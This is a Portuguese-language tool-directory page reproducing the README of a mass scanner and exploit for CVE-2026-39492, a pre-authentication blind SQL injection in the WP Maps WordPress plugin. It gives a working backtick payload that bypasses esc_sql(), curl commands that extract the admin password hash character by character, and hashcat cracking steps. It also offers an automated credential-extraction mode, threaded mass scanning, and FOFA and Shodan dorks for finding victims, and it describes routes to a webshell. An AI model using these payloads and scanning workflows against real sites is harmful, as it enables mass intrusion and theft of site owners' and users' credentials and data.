Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-39492 — CVE-2026-39492 — WP Maps (wp-google-map-plugin) <= 4.9.1 Scanner em massa de Injeção SQL Cega Não Autenticada | detecção estilo sqlmap | bypass de esc_sql() por crase | 100 mil+ instalações | Kitploit
Ferramentas/GitHubGitHub/shinthink/cve-2026-39492
Scanners de VulnerabilidadesExploraçãoExploração de Aplicações WebColeta de InformaçõesTestes de Penetração
GitHubshinthink/cve-2026-39492

CVE-2026-39492

CVE-2026-39492 — WP Maps (wp-google-map-plugin) <= 4.9.1 Scanner em massa de Injeção SQL Cega Não Autenticada | detecção estilo sqlmap | bypass de esc_sql() por crase | 100 mil+ instalações

Ver Repositório
15há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-39492 — Scanner de Injeção SQL Cega do WP Maps

SQLi cega baseada em tempo sem autenticação prévia via bypass de backtick → extração de banco de dados


Visão Geral

CVE-2026-39492 é uma vulnerabilidade de injeção SQL cega não autenticada de severidade crítica (CVSS 9.3) no plugin WP Maps (wp-google-map-plugin) nas versões ≤ 4.9.1.

O manipulador AJAX wpgmp_ajax_call é registrado via wp_ajax_nopriv_ para acesso não autenticado. O parâmetro location_id é passado por FlipperCode_Model_Base::is_column() — uma função que trata incorretamente entrada envolvida em backticks como um identificador confiável de coluna SQL, contornando completamente a sanitização do esc_sql() do WordPress.

Versões Afetadas

Versão do WP MapsStatus
≤ 4.9.1Vulnerável
≥ 4.9.2Corrigida

Instalações ativas: 100.000+


Mecanismo da Vulnerabilidade

Causa Raiz

Na camada de abstração de banco de dados do plugin, is_column() verifica se a entrada do usuário está envolvida em backticks:

// Vulnerable: backtick-wrapped input treated as trusted column identifier
function is_column($value) {
    if (preg_match('/^`.*`$/', $value)) {
        return true;  // bypasses esc_sql() entirely!
    }
    return false;
}

Quando is_column() retorna true, a entrada é passada diretamente para a consulta SQL sem o escape do esc_sql(). Isso permite:

location_id=`1` AND SLEEP(5) AND `1`=`1

Fluxo de Ataque

1. Detect WP Maps via readme.txt → extract version
2. POST to /wp-admin/admin-ajax.php?action=wpgmp_ajax_call
3. Inject backtick-wrapped payload in location_id parameter
4. Measure response time — SLEEP(N) confirms SQL injection
5. Extract data via boolean/time-based blind technique

Por que CVSS 9.3

MétricaValor
Vetor de AtaqueRede
Complexidade do AtaqueBaixa
Privilégios NecessáriosNenhum
Interação do UsuárioNenhuma
EscopoAlterado (impacta todo o banco de dados)
ConfidencialidadeAlta
IntegridadeNenhuma
DisponibilidadeBaixa

Instalação

git clone https://github.com/shinthink/CVE-2026-39492.git
cd CVE-2026-39492
pip install -r requirements.txt

Uso

# Single target detection
python cve_2026_39492.py -t target.com

# Mass scan
python cve_2026_39492.py -f targets.txt

# Mass scan + save results
python cve_2026_39492.py -f targets.txt -o sqli.txt

# Single target with credential extraction
python cve_2026_39492.py -t target.com --extract -v

# Verbose output
python cve_2026_39492.py -t target.com -v

Argumentos

  -t, --target      Single target (domain or IP)
  -f, --file        Target list, one per line
  -o, --output      Save vulnerable targets to file
  --threads         Concurrent workers (default: 20)
  --extract         Extract admin credentials from confirmed targets
  -v, --verbose     Show detailed output

Prova de Conceito

Alvo Único

$ python cve_2026_39492.py -t target.com -v
  CVE-2026-39492 — WP Maps Blind SQL Injection Scanner
  CVSS 9.3 | Pre-Auth | wpgmp_ajax_call → Backtick Bypass

  Target: WP Maps (wp-google-map-plugin) <= 4.9.1
  Vector: admin-ajax.php?action=wpgmp_ajax_call → location_id
  Bypass: backtick-wrapped input bypasses esc_sql()

    [+] WP Maps detected: v4.9.0
    [*] SQLi test: 6.2s (threshold: 5s)
    [+] Blind SQLi CONFIRMED (response: 6.2s)

  Host        : target.com
  WP Maps     : YES v4.9.0
  SQLi        : YES
  Resp time   : 6.2s
  Time        : 7.1s

Com Extração de Credenciais

$ python cve_2026_39492.py -t target.com --extract -v
    [+] Blind SQLi CONFIRMED (response: 5.8s)
    [*] Extracting admin credentials via blind SQLi...
    [*] Extracting: admin_user
    [*] Extracting: $P$BqVg...

  Admin User  : admin_user
  Admin Hash  : $P$BqVg7xX...

Varredura em Massa

  CVE-2026-39492  WP Maps Blind SQLi Scanner
  Targets: 2500 | Threads: 20
  Vector: wpgmp_ajax_call → location_id backtick bypass
  ───────────────────────────────────────────────────────

  [SQLi]    target-vuln.com                                 6.2s  v4.9.0       resp:6.2s
  [SQLi]    wp-maps-site.com                                5.8s  v4.8.5       resp:5.8s
  [500/2500] 20%  |  WP Maps:47  SQLi:12  |  current-target.com

  ───────────────────────────────────────────────────────
  Scan complete  |  Time: 320s
  ───────────────────────────────────────────────────────
  Targets        : 2500
  WP Maps found  : 47
  SQLi confirmed : 12

Exploração Manual

Passo 1 — Detectar o plugin

curl -sk 'https://target.com/wp-content/plugins/wp-google-map-plugin/readme.txt' | head -5

Passo 2 — Testar SQLi com SLEEP

time curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
  -d 'action=wpgmp_ajax_call' \
  -d 'location_id=`1` AND SLEEP(5) AND `1`=`1'

# Response > 5 seconds → VULNERABLE

Passo 3 — Extrair o hash do administrador via SQLi cega

# Check first character of admin hash
time curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
  -d 'action=wpgmp_ajax_call' \
  -d 'location_id=`1` AND IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36,SLEEP(3),0) AND `1`=`1'

# Response > 3 seconds → first char is ASCII 36 = '$'

Passo 4 — Quebrar o hash e fazer login → RCE completo

hashcat -m 400 -a 0 admin_hash.txt /usr/share/wordlists/rockyou.txt

Dork FOFA

body="wp-google-map-plugin"

Shodan

http.html:"wp-google-map-plugin"

Impacto

A exploração bem-sucedida permite a extração de todo o banco de dados do WordPress:

  • Hashes de senha de administrador → quebrar → login de admin → upload de plugin → RCE
  • PII de usuários, e-mails, tokens de sessão
  • Chaves de API armazenadas em wp_options
  • Se o privilégio FILE do MySQL existir: SELECT ... INTO OUTFILE → webshell → RCE direto

Aviso Legal

APENAS PARA FINS EDUCACIONAIS E DE TESTES AUTORIZADOS.

Este software é destinado a profissionais de segurança que realizam testes de penetração autorizados, organizações que auditam sua própria infraestrutura e pesquisadores que estudam a exploração de vulnerabilidades.

O acesso não autorizado a sistemas de computador é ilegal e pode violar:

  • Estados Unidos: Computer Fraud and Abuse Act (18 U.S.C. 1030)
  • Indonésia: UU ITE Pasal 30 & 46
  • União Europeia: Directive 2013/40/EU
  • Reino Unido: Computer Misuse Act 1990

Os autores não assumem responsabilidade por uso indevido.


Referências

RecursoLink
Advisory IONIXionix.io/threat-center/cve-2026-39492
Advisory WPScanwpscan.com/vulnerability/c1f19d2e
Advisory Wordfencewordfence.com
Entrada NVDCVE-2026-39492
Trac do Pluginwp-google-map-plugin

Este projeto não é afiliado à Flipper Code ou ao WP Maps.

Baixar ferramenta